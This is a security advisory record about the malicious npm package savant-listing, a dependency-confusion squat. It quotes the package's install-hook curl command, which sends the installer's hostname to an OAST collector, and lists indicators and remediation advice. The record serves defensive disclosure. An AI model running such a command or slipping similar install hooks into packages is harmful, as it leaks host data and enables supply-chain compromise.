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Malicious code in savant-listing (npm)

Type: advisorySource: OSV1 source record

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (7360e78a5c5d56ea9323cde1f41e33ce8cc6b625034ef82d067bbfeafee60461) savant-listing@999.9.9 is a dependency-confusion squat. package.json declares both `install` and `postinstall` lifecycle scripts that run `curl https://d8fnie486mdq306lb5kgttwrnhxwj33g5.oast.online/info/?hostname=$(hostname)`, unconditionally exfiltrating the installer host's hostname to an out-of-band interaction (OAST/interactsh) collector on every `npm install`. The version `999.9.9` and description `SAFE PoC - Demonstrates dependency confusion` are consistent with a package published to the public registry to win version resolution over an internal package of the same name on victim build systems. The destination is a transient, attacker-controlled OAST subdomain not associated with any legitimate publisher; the harm fires automatically at install time without any user interaction. ## Source: ghsa-malware (befc4b6c8bee229433c06811eeb7fe724778cc25ec9fccef9811242168fc2e2b) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Announced Source revision 1
Original source ↗

MAL-2026-5401

Primary source · Revision 1

Imported from structured advisory data. Source references identify upstream records or fields; verify affected versions and your deployed configuration.

Security context

Source reference: osv:MAL-2026-5401

savant-listing

Source reference: /affected/0/package/name

Affected versions
999.9.10

Source reference: /affected/0/versions

999.9.9

Source reference: /affected/0/versions

Fixed versions
Not stated in this record
Prerequisites
Not stated in this record

Structured affected-version data

Original package identities and version rules from this source.

[
  {
    "package": {
      "name": "savant-listing",
      "purl": "pkg:npm/savant-listing",
      "ecosystem": "npm"
    },
    "versions": [
      "999.9.10",
      "999.9.9"
    ],
    "database_specific": {
      "cwes": [
        {
          "name": "Embedded Malicious Code",
          "cweId": "CWE-506",
          "description": "The product contains code that appears to be malicious in nature."
        },
        {
          "name": "Embedded Malicious Code",
          "cweId": "CWE-506",
          "description": "The product contains code that appears to be malicious in nature."
        },
        {
          "name": "Embedded Malicious Code",
          "cweId": "CWE-506",
          "description": "The product contains code that appears to be malicious in nature."
        }
      ],
      "source": "https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/savant-listing/MAL-2026-5401.json",
      "indicators": {
        "domains": [
          "d8fnie486mdq306lb5kgttwrnhxwj33g5.oast.online"
        ],
        "evidence_files": [
          {
            "path": "package.json",
            "tlsh": "abe0617045108e3336d802a17c66950f9852fb2b041d9c544feb154d971d336117d317",
            "sha256": "a4c0237994ad97ad0dab04882a231e78076c22632c9f04b395a1f2943decd18a"
          }
        ],
        "package_integrity": [
          {
            "hashes": {
              "sha1": "80788d649ee21b6a0bd0fd9d536f0bc3fa1d9b96",
              "sha512_sri": "sha512-ekMuvz54s6MjpQOMjogc55GS8OiQ/ZLo9E+siMG9vJi31LzICYyCwLV7XhUxaYuufkIkHgKrjr93YdVuiu7KyQ=="
            },
            "filename": "savant-listing-999.9.10.tgz"
          }
        ]
      }
    }
  }
]

Publisher severity

No explicit severity was provided.

Event
#6194 · Revision 1
Added to Heist Feed
Publisher date
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